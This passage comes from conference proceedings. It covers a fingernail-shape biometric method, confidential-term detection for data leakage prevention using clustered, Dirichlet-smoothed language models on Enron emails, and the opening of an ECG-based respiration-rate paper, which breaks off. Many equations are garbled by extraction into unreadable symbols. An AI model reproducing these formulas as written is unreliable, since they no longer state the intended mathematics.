association control in wireless mesh networks. IEEE Trans. Mob. Comput. 8(1), 65–80 (2009)
11. Wang, H., Wong, W.-C., Soh, W.-S., Motani, M.: Dynamic association in IEEE 802.11 based
wireless mesh networks. In: 6th International Symposium on Wireless Communication
Systems, pp. 81–85 (2009)
12. Kumar, G.V., Shoba Bindu, C.: A study on access point selection algorithms in wireless mesh
networks. Int. J. Adv. Netw. Appl. 6(1), 2158–2167 (2014)
13. Heusse, M., Rousseau, F., Berger-Sabbatel, G., Duda, A.: Performance anomaly of 802.11b.
In: INFOCOM 22nd Annual Joint Conference of the IEEE Computer and Communications,
pp. 836–843 (2003)
14. NCTUns Simulator: http://nsl.csie.nctu.edu.tw/nctuns.html
Characterization of Human Fingernails
Using Iterative Thresholding
Segmentation
N.S. Kumuda, M.S. Dinesh and G. Hemantha Kumar
Abstract In this paper, we present new fingernail biometric as a possibility in

pattern recognition and establish its prospects experimentally. In this perspective
composition, we propose a method adapted in three stages. In stage one, the finger
biometric which exhibits Gaussians of objects is identified as background and
foreground elements is modeled for segmentation of relevant regions. Preliminary
methods include intensity adjustment to reduce noise, contrast enhancement for
edge detection, and morphological operation to improve finger region from noisy
background. In stage two, iterative histogram-based thresholding of multispectral
image (R, G, and B components) to binarize fingernail region from finger object is
adapted. In stage three, geometric feature calculation makes it possible to identify
fingernail into different shapes as oval, round, and rectangular. Nail dimension and
shape features are used for the recognition. With this designed system, we are able
to achieve 80 % recognition rate and initial results are encouraging.

Keywords Fingernail biometric Multispectral data Intensity transformation

Contrast enhancement Morphological segmentation Iterative thresholding Nail
region of interest
N.S. Kumuda (&) M.S. Dinesh

PET Research Center, PES College of Engineering, Mandya, India
e-mail: kumuda_roy@yahoo.co.in
M.S. Dinesh
e-mail: dineshmys@gmail.com
G. Hemantha Kumar
Department of Studies Computer Science, University of Mysore, Mysore, India

260 N.S. Kumuda et al.
1 Introduction
In the field of digital image analysis, pattern recognition and matching encompass
shape, outline, design, layout analysis, and many more. The object patterns are
always present as basic units during modeling of such like identification system. It
is from these object pattern regions that some information is retrieved, created,
made up to be used for future, potential image identification, classification,
matching to further examine the likeliness of similarities and differences in them
[1]. This means, many computer pattern recognition challenges [2, 3] can be solved
with variety of pattern matching procedures.
Biometrics appear in every human and their patterns [4] take names such as
fingerprints, handwritten signature(s), human face, iris, speech signal, etc. On the
other hand, recognition of these patterns has become more scientific. Methods to
measure performance of how well machines can examine them [5], with all the
environmental error is challenging. Although survey suggests at many existing
biometric methods, the scope for research is not restricted, because applications in
fingernail biometric traits is very encouraging. From hand shapes, fingerprints, veins,
to fingernail(s) analysis could be one of the new possibilities in this direction [6].
1.1 Literature Survey
Literatures of various case studies, research methods and review techniques exist
for fingernail biometric. Fingernail formations and problems can be either local
(human created), or they may be caused due to underlying fundamental systemic
development as pointed out in various fingernail studies called “Onichognomy”. Yu
Sun, John M et al., research technique on “Eigen Nail for Finger Force Direction
Recognition”, could detect coloration patterns in finger nail [4]. Mascaro et al.,
presented effects on surrounding finger skin when pressure is applied on the finger
tips using Fingernail Touch Sensors [7]. Adekunle O George, preliminary report on
Fingernail plate shape and size for personal identification with observations like
shapes of hand showed diversity almost like fingerprint patterns. This could be used
for personal identification [5]. Anderson T D, et al., worked on extraction and
analysis of DNA from human nail to validate its application toward forensic work
[8]. Delmar J Mahler, et al., research study measured by the content of gold,
manganese, and copper present in human fingernails as “A Study of Trace Metals in
Fingernails and Hair Using Neutron Activation”. When renal disease patients were
compared versus healthy individuals, study proved the presence of higher zinc and
manganese levels in fingernails of patients for hemodialysis [9]. In Nov 2006
Michael Jackson fingernails were observed at Guinness World Records in London
[10]. This indicated serious dependence on prescription drugs which had become a
danger to his life.
Characterization of Human Fingernails … 261
Fig. 1 a, b Top and side view of the finger nail parts
1.2 Fingernail Structure
It is a horn-like cutaneous blanket covering the dorsal surface of fingers and toes in
humans. The fingernail unit consists of basic eight components that include the
following: 1-proximal nail fold; 2-cuticle; 3-lunula; 4-nail plate; 5-lateral nail folds;
6-nail bed; 7-hyponychium; and 8-free edge as in Fig. 1. Six specific parts of nail
structure are commonly identified as root, nail bed, nail plate, cuticle, perionych-
ium, and hyponychium [11]. All parts of the structure have a specific utility, and if
dislocate/disordered can result in an abnormal appearance of fingernail shape.
Fingernail shape formation can be local (person shaping the nails) [5], or they may
be caused due to underlying fundamental blood tissue formations as illustrated in
various fingernail studies.
2 Proposed Method
The curved surface of finger and fingernails exhibit errors, when digitally captured
during data acquisition. These errors will have to be initially identified and dealt
carefully to categorize the fingernail shape as per the problem under consideration.
Shape methodology computes matching locations linking geometric shapes indi-
cated by, meshes, contours, point sets, or volumetric images [12]. Obviously def-
inition of correspondence influences directly the analysis. Among the different
options for correspondence frameworks we found; anatomical correspondence,
functional correspondence, manual landmarks, geometry correspondence, and
intensity similarity. In order to implement statistical shape analysis that provides
measurements to resolve structural changes at relating locations, we start with the
following procedure; (a) Data collection under controlled setup with contrast
background, (b) Creation of nail ground truth database, and (c) Preprocessing of
collected data.
2.1 Preprocessing
There is a requirement to the removal of nonlinear gamma correction that is gen-

erally imposed by the capturing device. Hence, our method comprises of gamma
correction with stretching to improve digital images captured from real lens and
transform it into.jpeg format [13]. This transformation converts the image data back
into its linear-representation by reducing unacceptable results that are obtained
when jpeg is applied. It subdues background error distribution and enhances
foreground objects. This way we are making the uninteresting background region
darker and bringing more details into the essential lighter foreground regions [14].
Gray level Power Law transformation equation s ¼ cðrÞc for image enhancement
with c = 0.6 and 1.2 and results of transformation are as follows:
During the conduct of experimental tests, in spite of gamma correction of
images, many samples in our dataset displayed random variations resembling
Gaussian or Rayleigh noise both in the background and foreground intensity dis-
tribution as in Fig. 2c. Noise pattern distribution in edge detection showed varia-
tions from one image to another, due to positional variation of the biometric, curved
surface of finger, and its reflectance property [15]. Some intensity pixels are
commonly found in both background and foreground segments of the image,
though the regions exhibited relatively uniform color or gray levels. Edge detection
[16] fluctuates along with variable gray intensity levels in regions, subregions
(localized objects), as well as in local geometric structure.
For better homogeneity, gamma corrected images were further mapped to new
values so that 1–2 % of intensity is saturated at low and high intensities. This
improved the contrast substantially. Cut off is estimated from probability distri-
bution of pixels ng having range g as a fraction of the number of total pixels n, with
pðgÞ ¼ ng =n. The darker background pixel section tend toward 0 intensity value
while brighter foreground pixels of finger tend toward brighter intensity range (75–
150). Thus, intensity adjustment [14] with concept of dark and bright objects using
global threshold could segment solid finger region as in Fig. 3c.
Fig. 2 a Gray of original color. b Gamma corrected R, G, B. c Edge detection for (b)
Fig. 3 a Intensity adjusted gray image. b Improved edge detection. c Finger mask
Fig. 4 a Gamma corrected color image. b, c Morphological filtering of (a). d, e Profiles of (b),
(c) Show region smoothness of geometric shape. f Edge detection for (c)
2.2 Morphological Segmentation
Morphology is a method that supports shape and form-based operations on image

objects. To maintain the original shape attributes and to filter out smaller objects,
we apply morphological transformation [17]. Image opening operation smoothens
background and foreground regions. Geometric area of false color appearance
overcomes image depth representation and induces color depth representation as in
Fig. 4b, c. This minimizes random errors, maximizes intensity spread clearing
overlapping pixels in contrast background and foreground objects. Morphological
opening of color components of image ‘A’ for size 256 × 256 was carried out by a
disk structuring element ‘B’ of radius 11. With 32 neighbors, element B during
transformation, moves inside image A, locus of B centered at all points of A. Same
structuring element is used for erosion followed by dilation operation as given by:
ðf hbÞðs; tÞ ¼ minff ðs þ x; t þ yÞ bðx; yÞjðs þ xÞ; ðt þ yÞ 2 Df ; ðx; yÞ 2 Db g

ð1Þ
ðf bÞðs; tÞ ¼ maxff ðs x; t yÞ þ bðx; yÞjðs xÞ; ðt yÞ 2 Df ; ðx; yÞ 2 Db g

ð2Þ
P
Laplacian filter ð h f Þ ½x; y ¼ i h½x i; y jf ½i; j [13] for edge enhance-
ment along with morphological filter for region filling of mask image is incorpo-
rated by means of AoB ¼ ðA! BÞ B. As a result of region filling, smaller
connected pixels are trimmed, and background becomes more clear with better
finger boundary in detection. Improved results are shown in Fig. 4f.
2.3 Iterative Thresholding
In second stage of our method, segmentation follows context-based localization of

spatial intensity information, i.e., smaller fingernail region which is embedded
within larger finger region [18, 19]. We begin with defining of initial threshold value
that is greater than or equal to finger region threshold value. Morphological image
profile plot decides basis range value for multiple iterative thresholding of complex
objects like fingernail. Smaller threshold increments are adapted to automatically
generate almost correct fingernail binarization. Cut-off range is divided into ten
thresholds to create fingernail binary mask in stages as in Fig. 5a. Convergence of
iteration or selection of appropriate automated ROI is measured by approximating
the radius curvature of two arcs (almost similar) within opposite halves of bounding
box along x-axis. Automatically retrieved ROI is measured as accurately as possible
as in Fig. 5b, c. Same results for three (3) people is shown in Table 1.
2.4 Ground Truth Assessment
Nearly precise manual contour selection of the fingernail object is necessary for
preliminary assumptions of nail in Region of Interest (ROI). Initial mask as ground
truth supports created predefined pattern and encourages to identify the object
Fig. 5 a–d Results of iterative thresholding for improved automated fingernail region
Table 1 Fingernail masks: column 1-Manually selected ROI, column 2,3-Shape decisions, column 4-6 Automatically segmented fingernail masks (ROI),
7-Bound box with centroid plotted
Ground Bound box Ground truth shapes Automatically generated ROI Bound box
truth (ROI) to 6th
column
images
Greater width Broad-oval
Greater width Broad-oval

Characterization of Human Fingernails …
Greater breadth Long-oval
Greater breadth Long-rectangular
Greater breadth Long-rectangular
(continued)
265
Table 1 (continued)
266
Ground Bound box Ground truth shapes Automatically generated ROI Bound box
truth (ROI) to 6th
column
images
Breadth* = width Square-circular
Breadth* = width Square-circular
N.S. Kumuda et al.
Fig. 6 a–d Creating initial region of interest (ground truth-ROI)
attributes from the test images. Manual ROI is selected with polynomial selection
tool available in Matlab R2012a. It is suggested that we have a nail ground truth
created at the same time that of data acquisition, or at least within the time that the
environmental condition do not change (Fig. 6).
3 Experimental Setup
Standard databases for biometrics like fingerprint, face, and signatures are available
at various organizations. But there is lack of digitally captured, standardized finger,
and fingernail database for research work. Restricted in-house setup was built to
collect data under daylight illumination. Digital color finger images were captured
at a distance of 6 inches from the source aligned/placed almost along horizontal
axis. Two sets of images were captured for all 10 finger nails from 20 people. After
a careful review, we have considered only thumb nails for this study. One set of
thumb nail images (20-right thumb and 20-left thumb images) collected from 20
people was used for training, and second set of sample images (20-right thumb and
20-left thumb images) of 20 people were used for testing purpose.
3.1 Performance Evaluation
Segmentation accuracy evaluation [20] for classification of shapes is based on the

comparison between ground truth and automated fingernail mask. We use manually
referenced Region of Interest (ROI) as ground truth data for analysis and maintain it
for every biometric entity. Ground truth data is assumed to be true for accuracy.
Attributes of ground truth which do not change with time and defines uniqueness
of an entity are retrieved for recognition [18]. In our study, nail bed is the only
unique area that does not change over time. Further, we extract ubiquitous geo-
metric features from this finger nail region for person’s classification and identifi-
cation [20]. Overview of evaluation for performance is based on constraints
tabulatedin Table 2.
268
Table 2 Automated shape analysis using attributes bound box, roundedness from major axis and minor axis for images included in Table 1
Image 1–20 Attribute1 Attribute2 Attribute3 Attribute4 Min/Maj Attribute5 Min/Maj Attribute6 Min/Maj
Person 1–2 breadth B-W width B-W breadth = Width axis and roundness < axis and roundness axis and roundness
hand (−VE) (+VE) B*=W 0.70 < 0.85 <= 1.0
Broad-VL Long-HL Square-C Oval Rectangular Circular
2-1 Broad Oval
3-1 Broad Oval
4-1 Long Oval
5-1 Long Rectangular
13-1 Long Rectangular
14-1 Square Circular
17-1 Square Circular
N.S. Kumuda et al.
Nail recognition is assessed by mask area bounding box attributes, such as

width, length, area shape, and roundness. To evaluate geometric feature’s dis-
criminating capability, we have employed confusion matrix analysis for 20 people
for both thumb finger samples. Recognition evaluation with respect to ground truth
resulted in 80 % (Out of 20 people nail images, 16 people nail images are recog-
nized correctly), and 20 % (Out of 20 people nail images, 4 people nail images are
not recognized correctly).
4 Discussion and Conclusion
In this paper, we have presented a straightforward but novel biometric method for
person identification can be used in security applications besides applications
involving classification. Geometric shape matching method for multispectral ima-
ges (R, G, and B color components) is computationally too demanding when
applied on high-dimensional data as noise gets over amplified. Hence, we are
planning to improve our techniques for gray level images by devising robust
learning schemes to avoid multidimensional details of color patterns. This defines
character that sets apart the weak, and shadowy differences with glare problems,
and segment object shapes more accurately.
For future study, we intend certain feature extraction techniques to enable our
results become more statistically significant, plus extend in-house finger nail
database. Methods to segment fingernail from the finger region with positional
variations can be greatly useful in applications of person recognition and authen-
tication. We have found in our work that the data created for experimental results
are quite encouraging for fingernail patterns.
References
1. Duda, R.O., Hart, P.E.: Pattern Classification and Scene Analysis. Wiley, New York (1973)
2. Jain, A.K., et al.: Statistical pattern recognition: a review. IEEE Trans. Pattern Anal. Mach.
Intell. 22(1), 4–37 (2000)
3. Christopher, M.B.: Pattern Recognition and Machine Learning. Springer, New York (2007)
4. Yu, S., et al.: Eigen nail for finger force direction recognition. IEEE International Conference
on Robotics and Automation, 1-4244-0602-1/07 (2007)
5. Adekunle, O.G.: Finger nail plate shape and size for personal identification—a possible low
technology method for the developing world—preliminary report. Afr. J. Health Sci. 12, no.
1–2, 13–20 (2005)
6. Snelick, R., et al.: Large scale evaluation of multimodal biometric authentication using
state-of-the-art systems. IEEE Trans. Pattern Anal. Mach. Intell. 27(3), 450–455 (2005)
7. Mascaro, S.A.: Fingernail touch sensors: spatially distributed measurement and hemodynamic
modeling robotics and automation. In: Proceedings ICRA, IEEE International Conference, vol.
4, pp. 3422–3427 (2000)
8. Anderson, T.D., et al.: A validation study for the extraction and analysis of DNA from human
nail material and its application to forensic casework. J. Forensic Sci. 44(5), 1053–1056
(1999)
9. Delmar, J., et al.: A study of trace metals in fingernails and hair using neutron activation
analysis. J. Nucl. Med. 1970(11), 739–742 (1970)
10. Michael Jackson Hands In The News. http://www.handresearch.com
11. Parts of the Nail and Pictures- Human Finger and Toe. http://www.healthhype.com
12. Geometry. http://mathworld.wolfram.com
13. Image enhancement-nptel. http://nptel.ac.in/courses/117104069
14. Gonzalez, R., Woods, R.: Digital Image Processing. Addison-Wesley Publishing Company,
Reading (1992)
15. Wang, J.P.: Stochastic relaxation on partitions with connected components and its application
to image segmentation. PAMI 20(6), 619–636 (1998)
16. Ma, W.Y., Manjunath, B.S.: Edge flow: a framework of boundary detection and image
segmentation. In: Proceedings of CVPR, pp. 744–49 (1997)
17. Luc, V.: Morphological grayscale reconstruction in image analysis; application and efficient
algorithms. IEEE Trans. Image Process. 2(2), 176–201 (1993)
18. Comaniciu, D., et al.: Robust analysis of feature spaces: color image segmentation. In:
Proceedings of IEEE Conference on Computer Vision and Pattern Recognition, pp. 750–755
(1997)
19. Hong, L., Jain, A.K.: Integrating faces and fingerprints for personal identification. IEEE Trans.
Pattern Anal. Mach. Intell. 20(12), 1295–1307 (1998)
20. Borsotti, M., et al.: Quantitative evaluation of color image segmentation results. Pattern
Recogn. Lett. 19(8), 741–748 (1998)
Confidential Terms Detection
Using Language Modeling Technique
in Data Leakage Prevention
Peneti Subhashini and B. Padmaja Rani
Abstract Confidential documents detection is a key activity in data leakage pre-

vention methods. Once the document is marked as confidential, then it is possible to
prevent data leakage from that document. Confidential terms are significant terms,
which indicate confidential content in the document. This paper presents confi-
dential terms detection method using language model with Dirichlet prior
smoothing technique. Clusters are generated for training dataset documents (con-
fidential and nonconfidential documents). Language model is created separately for
confidential and nonconfidential documents. Expand nonconfidential language
model in a cluster using similar clusters, which helps to identify the confidential
content in the nonconfidential documents. Smoothing assigns a nonzero probability
value to unseen words and improves accuracy of the language model.
Keywords Data leakage prevention Confidential terms Language model

Smoothing Confidential score
1 Introduction
Data leakage is the distribution of confidential or private data of an organization to

an unauthorized party [1]. Private information is any information with restriction to
access. Confidential data of an organization include business rules, financial reports,
and customer details. Confidential data is varying from organization to organization.
Due to the vast growth of technology, different data leak channels are available
to leak the confidential data. In the year 2009, Verizon Business RISK team
P. Subhashini (&) B.P. Rani

Computer Science Engineering, Jawaharlal Nehru Technological University,
Hyderabad, Telangana 500085, India
e-mail: subhashinivalluru@gmail.com
B.P. Rani
e-mail: padmaja_jntuh@jntuh.ac.in

272 P. Subhashini and B.P. Rani
submitted a Data Breach Investigation Report [2], this report analyzed 90 data
breaches occurring in the year 2008. According to nonprofit consumer organization
Privacy Right Clearing House [3], the United States has a total of 227,052,199
records of confidential personal information between the year January 2005 and
May 2008. Organizations require a set of laws and rules to protect their confidential
information. Some of the laws are Sarbanes–Oxley Act (SOX) [4], HIPPA [5], and
Gramm–Leach–Bliley Act [6]. All these laws focus on specific type of business
information. Some recent leakage incidents were selected from [4]. All these data
leakage incidents point out that organizations should focus more on their security
methods.
Gartner’s report [7] stated that large organizations already understand the
necessity of data leakage prevention (DLP) technology. In this paper we present
confidential terms identification using language modeling technique. Confidential
term identification is a part of DLP, which helps to prevent data leakages. In DLP
system first identify whether the document is confidential or not, for this purpose no
need to scan the entire document, with the help of confidential terms of a document
DLP takes the decision.
2 Confidential Terms Detection
The main objective of confidential terms detection method is to detect confidential

terms in confidential and nonconfidential documents, which helps to identify small
portion of confidential data in a large nonconfidential documents. The existing
confidential detection methods cannot check the nonconfidential documents but the
intruder may send confidential data through nonconfidential documents [8].
Figure 1 represents the pictorial representation of the confidential terms detection
method [8].
Algorithm for Confidential Terms detection [8].

Input:
C -Confidential documents.
N - Non- confidential documents.
Output:
CR- Clusters and confidential terms.
1. T CUN (combination of C and N documents).

2. CR Apply Clustering on T.
3. For each cluster C in CR
4. Find_ Confidential_Terms.
5. End for.
6. Return C.
Confidential Terms Detection Using Language Modeling Technique … 273
Fig. 1 Confidential terms

identification
Steps required finding the confidential key terms.

1. Unsupervised clustering.
2. Find confidential score for each term.
2.1 Unsupervised Clustering
For unsupervised clustering, two types of documents are required, C confidential

documents and N nonconfidential documents. Clustering process, grouping docu-
ments (confidential and nonconfidential) into different subjects. For cluster creation
the content of every document is represented by a TFIDF vector [9].
TFIDF is computed as follows [9]:
• Terms are extracting from the training dataset.
• Frequently occurred terms (called stop words) are removed.
• After removing the stop words apply stemming algorithm.
• After applying the above three steps,
calculate the Inverse Document Frequency
jDj
(IDF) value for a term using log d , where |D| is the number of documents in
the training dataset and d is the number of documents in the training dataset
containing the term.
• Calculate the Term Frequency (TF) values for all terms in the document where
TF indicates term’s frequency in the current document.
Each document in the training dataset (confidential and nonconfidential) repre-
sents in a TFIDF (TF*IDF) vector format. For cluster generation, apply K-means
unsupervised algorithm with cosine measure as the distance function [8].
K-means algorithm is classifying the training dataset into K clusters [10]. The
following is the algorithm for K-means [11].
1. Randomly select K documents as the initial centroids to the cluster.
2. Assign all documents in the training dataset to the closest centroid.
3. Recalculate the centroid for each cluster.
4. Repeat step 3 and step 4 until the centroids no longer change
Cosine measure is defined as
ðd1 d2Þ
cosðd1; d2Þ ¼
jjd1jjjjd2jj
Pn
i¼1 d1 d2
ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
pP n
ffi pPffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
n
ffi ð1Þ
i¼1 d1
2 2
i¼1 d2
The cosine measure value is between 0 and 1, 0 indicates two documents are
opposite, 1 indicates two documents are similar.
The following is the formula for centroid c where N is the total number of terms,
tTFIDF indicates the TFIDF value of a term t [11].
1 X N
c¼ tTFIDF ð2Þ
jNj i¼1
2.2 Find Confidential Score for Each Term
For calculating confidential score, first identify the terms, which have high prob-
ability in a cluster [8], called these terms as confidential terms. Confidential terms
indicate the relevant content of the document.
For the purpose of confidential terms detection, we used language modeling
technique [12]. Language modeling is one of the popular techniques in the field of
information retrieval. This technique represents the value of a term in terms of the
probability [13]. The language model is created for all training dataset clusters.
Language model approach is mathematically represented as lm (w1, w2,
w3…) = P (w1, w2, w3…/c), where C represents the document size [14]. The
probability of a term represents the relevance of a term for a particular cluster.
The detection of the confidential terms is done as follows:

First create language model separately for C (confidential documents) and
N (nonconfidential documents) in the cluster [8]. We denote confidential_LM and
non-confidential_LM accordingly. Confidential language model and nonconfiden-
tial language model are created using the following formula [13]:
t tft
plm ¼ ð3Þ
d Nðt;dÞ
where tft term frequency of term t and N(t, d), total number of terms in a document
d. In the second step, find similar clusters to an original cluster using cosine
measure. If cosine similarity between the adjacent cluster and original cluster is
above the predefined threshold then include that adjacent clusters of nonconfidential
documents to the original cluster [8].
Language model is created for confidential and nonconfidential documents but
confidential score is finding only for confidential language model terms. This
process (two steps) is repeated for all the clusters of the training dataset. For each
term in confidential_LM, calculate score using the following formula [8]:
8term 2 confidential LM;

1 pconfidential LM ðtermÞ
scoreterm þ ¼ ð4Þ
iteration pnonconfidential LM ðtermÞ
where scoreterm is the final confidential score of a term. With the help of (4)
calculate confidential score for each term in the confidential language model,
clusterwise.
The score assigned to terms reflects how much more likely they are relevant to
confidential documents than to nonconfidential documents [8]. The terms, which
have confidential score above a threshold are selected as confidential terms. The
following is the algorithm for finding confidential terms [8].
Find_Confidential_Terms.
Input:
CR – Training dataset clusters.
C- The current cluster
Output:
CT [C i] - Confidential terms of a cluster ci.
1. Generate confidential language model and non-confidential language model for

cluster ci,
2. TR –Initial cluster similarity threshold
3. for each cluster ci in CR
4. Identify similar clusters to ci.
5. CT [Ci] - calculate the confidential term’s score
6. Reduce the value of TR
7. End For
8. Return CT.
At the time of calculating the confidential score there is a chance to get infinity
(term available in confidential_LM and not in nonconfidential_LM), to avoid this
problem apply smoothing technique at the time of creating language model.
The main purpose of the smoothing technique is the adjustment of the proba-
bility in language model, so that language model will be more accurate [15].
Smoothing technique assigns a nonzero value to the unseen words.
There are many smoothing techniques available [16], all these techniques
improve the accuracy of word probability. The following is the formula for general
smoothing technique [16]:
w w
u
p ¼ ad p ð5Þ
d C
where P (wu|d) is the smoothed probability of an unseen word (wu) in the document
d, P (w|C) is the probability of the word w in a collection C, and αd is adjustment
coefficient. In all smoothing techniques, the value of αd depends on document d. In
general, αd may depend on d. In order to correct for inaccuracies that may arise due
to data sparseness, we apply the Dirichlet smoothing technique.
In Dirichlet µ is the adjustment coefficient.
The Dirichlet smoothing technique with µ is given by [13]
w cðw; d Þ þ lpðwjcÞ
pl ¼ P ð6Þ
d w cðw; d Þ þ l
where c (w; d) is count of word w in document d, µ is Dirichlet smoothing P

technique coefficient, p (w|c) is probability of a word in a collection, and cðw; d Þ
w
is total number of words in the document.
3 Evaluations
3.1 Training Dataset
We used the Enron Email Dataset [17] for evaluating the confidential score of a
term. This dataset is the email collection of senior management of Enron. It contains
data from 150 users and organized into folders [9].
For preliminary results purpose, 100 random e-mails were selected. Extract each
e-mail from the dataset and create separate text document. Depending on the type of
e-mail content, marke them as confidential (C) and nonconfidential (NC). Extract
terms from each e-mail and apply stop words filtering and stemming algorithm. In
this paper we used Porter stemming algorithm. Construct TFIDF matrix for each
document.
Clustering is done with K-means algorithm, K value set as 5. A small modifi-
cation is made in the original K-means clustering algorithm. In the original
K-means, if the cosine value between the existing document (document already in
Table 1 TFIDF vector representation of the documents

Term Email_C_10. Email_NC_2. Email_C_24. Email_NC_8.
txt txt txt txt
Beiser@edelman 0.001 0.004 0.002 0.003
Pharmacuet 0.002 0.001 0.001 0.004
Paladin 0.003 0.003 0.002 0.001
Cash 0.002 0.001 0.004 0.002
Altiplano 0.004 0.002 0.001 0.001
Table 2 Cluster1 Depart 0.20

confidential terms and scores
Peak 0.189
Proposition 0.188
Message 0.390
Document 1.010
Confidential 1.092
Sent 2.112
Rick 2.109
Declare 0.119
Interpret 1.092
Cats 1.092
Walker 1.010
Sharon 1.097
the cluster) and the selected document (document to be added) is above the
threshold then that document is added to that particular cluster, because of this,
some of the e-mail documents are not matching to any one of the 5 clusters so that
we removed threshold concept. First we calculate similarity value for a document
and remaining all documents which is already there in the cluster, then we added
the document to the cluster which is having the maximum cosine value (between 0
and 1) Table 1 represents TFIDF vector representation of the documents.
For each cluster c, create a separate language model for confidential documents
and nonconfidential documents called confidential_LM and nonconfidential_LM,
respectively. Calculate similarity (cosine measure) between the cluster c and the
adjacent clusters, add adjacent cluster (cosine similarity greater than the threshold)
nonconfidential documents to the cluster. Calculate confidential score for all terms
in the confidential_LM. Terms which are having confidential score greater than 1
are considered to determine the confidentiality of the document. After completion
of this step clusterwise, a list of confidential terms and confidential scores are
available. Table 2 represents the cluster 1 confidential terms and their scores.
4 Conclusion
This paper presents a method for finding confidential terms using language model
with Dirichlet smoothing technique. A confidential term indicates the confidential
content of the document in an organization. At the time of language model creation
we are adding nonconfidential documents to the confidential language model which
helps to identify the confidential terms in nonconfidential documents. In DLP,
confidential terms act as key terms for identification of confidential documents.
Future work
In future, context terms can be found for every confidential term and a graph can be
created for confidential terms and corresponding context terms, clusterwise.
Context terms serve as validators, enabling us to determine whether or not the
detected terms are truly indicative of relevant content. Context terms allow us to
quantify the degree of relevance (many context terms = higher relevance).The
structure of the document content is pictorially represented using graphs concept.
These graphs capture the confidential content only and not the whole document.
References
1. Shabtai, A., Elovici, Y., Rokach, L: A Survey of Data Leakage Detection and Prevention
Solutions. Springer Briefs in Computer Science. Springer, New Work (2012)
2. http://www.verizonbusiness.com/resources/security/reports/2009-databreach_rp.pdf
3. http://www.privacyrights.org/ar/chronDataBreaches.html
4. http://www.soxlaw.com/
5. http://www.hhs.gov/ocr/privacy/
6. http://www.ftc.gov/privacy/privacyinitiatives/glbact.html
7. Ouellet, E., Proctor, P.E.: Magic quadrant for content-aware data loss prevention. Technical
Report, RA4 06242010, Gartner RAS Core Research (2009)
8. Katz, G., Elovici, Y., Shapira, B.: CoBAn: a context based model for data leakage prevention.
Info. Sci. 262, 107–128 (2011)
9. Zilberman, P., Shabtai, A., Rokach, L.: Analyzing group communication for preventing data
leakage via email. IEEE (2011)
10. http://croce.ggf.br/dados/K%20mean%20Clustering1.pdf
11. Steinbach, M., Karypis, G., Vipin K.: A comparison of document clustering techniques.
Technical Report #00–034
12. Song, F., Croft, W.: A general language model for information retrieval. In: Proceedings of the
8th International Conference on Information and Knowledge Management, pp. 310–321.
ACM, Kanasas City, Missouri, United States (1999)
13. Ponte, J., Croft, W.: A language modeling approach to information retrieval. In: Proceeding of
the 21st Annual International ACM SIGIR Conference on Research and Development in
Information Retrieval, pp. 275–281. ACM, Melbourne, Australia (1998)
14. Lavrenko, V., Croft, W.: Relevance based language models. In: Proceedings of the 24th
Annual International ACM SIGIR Conference on Research and Development in Information
Retrieval, pp. 120–127.ACM, New Orleans, Louisiana, United States (2001)
15. Zhai, J., Lafferty.: A study of smoothing methods for language models applied to adhoc
information retrieval. In: Proceedings of the 24th Annual International ACM SIGIR
Conference on Research and Development in Information Retrieval, ACM (2001)
16. Chen, S.F., Goodman, J.: An empirical study of smoothing techniques for language modelling.
Tech Report.TR-10-98, Harward University
17. https://www.cs.cmu.edu/*./enron/
ECG-Driven Extraction of Respiration
Rate Using Ensemble Empirical
Mode Decomposition and Canonical
Correlation Analysis
Vineet Kumar and Gurpreet Singh
Abstract Respiratory signal and electrocardiogram are correlated to each other. In

this paper, respiration rate has been extracted from ECG. We purpose a novel
combination of Canonical Correlation Analysis (CCA) and Ensemble Empirical
Mode Decomposition (EEMD) in order to remove the artifacts, and we have esti-
mated the respiratory rate from the denoised ECG by creating the envelope of the
denoised signal. The canonical correlation corresponding to the artifacts was
removed on the basis of correlation coefficient of denoised signal and ground truth
signal. The MIT-Polysomonographic and Apnea-ECG databases of physionet bank
were used to acquire the ECG signals. Real-time Baseline wander noise from
MIT-NSTDB was added to each record, and the respiratory rate determined was
compared with the corresponding respiratory signals. The average signal-to-noise
ratio improvement in case of denoising using EEMD-CCA is 20.8989 db. The
average BPM error in respiration rate derived from ECG denoised from EEMD is
±2.5 BPM.
Keywords Canonical correlation analysis (CCA)

Ensemble empirical mode

decomposition (EEMD) Intrinsic mode function (IMF) Canonical component
(CC)
V. Kumar G. Singh (&)

Department of Electronics and Communication Engineering,
Lovely Professional University, Phagwara, Punjab, India
e-mail: gurpreet.singh.in@ieee.org
V. Kumar
e-mail: vineet.15921@lpu.co.in

282 V. Kumar and G. Singh
1 Introduction
The respiratory signal and electrocardiogram are correlated to each other due to the
presence of heart and lungs in the thoracic cavity. The chest movements affect the
ECG signal. These mechanical actions of respiration result in the frequency mod-
ulation of the ECG signal. These interactions have some recognizable effects which
result in baseband and lateral band at each side of the cardiac harmonic in the ECG
spectrum [1]. Due to the presence of this type of interaction, the ECG can also be
used to analyze the respiratory information. As the traditional methods of respira-
tion rate acquisition are cumbersome, ECG signal provides an easy and best
alternative. Various techniques have been applied by several authors in order to
work on nonlinear and non-stationary signal [2] and to determine the respiration
rate information from ECG signal. Widjaja et al. [3] applied the Kernel Principal
Component Analysis in order to extract ECG-Derived respiration rate from a
single-lead ECG signal. Madhav et al. [4] estimated the respiration signal from
ECG signal, Blood pressure (BP) signal, and Photoplethysmographic (PPG) signal
using EMD. Several approaches have been made using wavelet decomposition in
estimating the respiration signal. Marco A.F. Pimentel et al. presented a Gaussian
process framework for the estimation of the respiratory rate from the different
sources of modulation in a single-lead ECG signal. All these approaches were based
on various signal processing techniques with different levels of complexity. The
proposed method is based on the use of combination of Ensemble Empirical Mode
Decomposition and Canonical Correlation Analysis. This method uses the base
source separation property of CCA in order to perform the denoising in the initial
stage which results in promising results in the process of estimation respiration rate
from ECG.
2 Ensemble Empirical Mode Decomposition
EEMD is the upgraded method which uses the ensembles of the EMD algorithm as
the optimum choice of IMFs. It defines the true IMF components as the mean of an
ensemble of trials, each consisting of a white noise of finite amplitude added in the
original signal R½n [5, 6]. EEMD algorithm can be described as follows:
1. Generate R j ½n ¼ R½n þ w j ½n; where w j ½n ðj ¼ 1; . . .; M Þ are different
realizations of white Gaussian noise.
2. Each R j ½n ðJ ¼ 1; : : : ; M Þ is fully decomposed by EMD getting their modes
IMFpj ½n, where p ¼ 1; . . .; P indicates the modes.
3. Assign IMFp as the p-th mode of R½n; obtained as the average of the
corresponding
ECG-Driven Extraction of Respiration Rate … 283
1
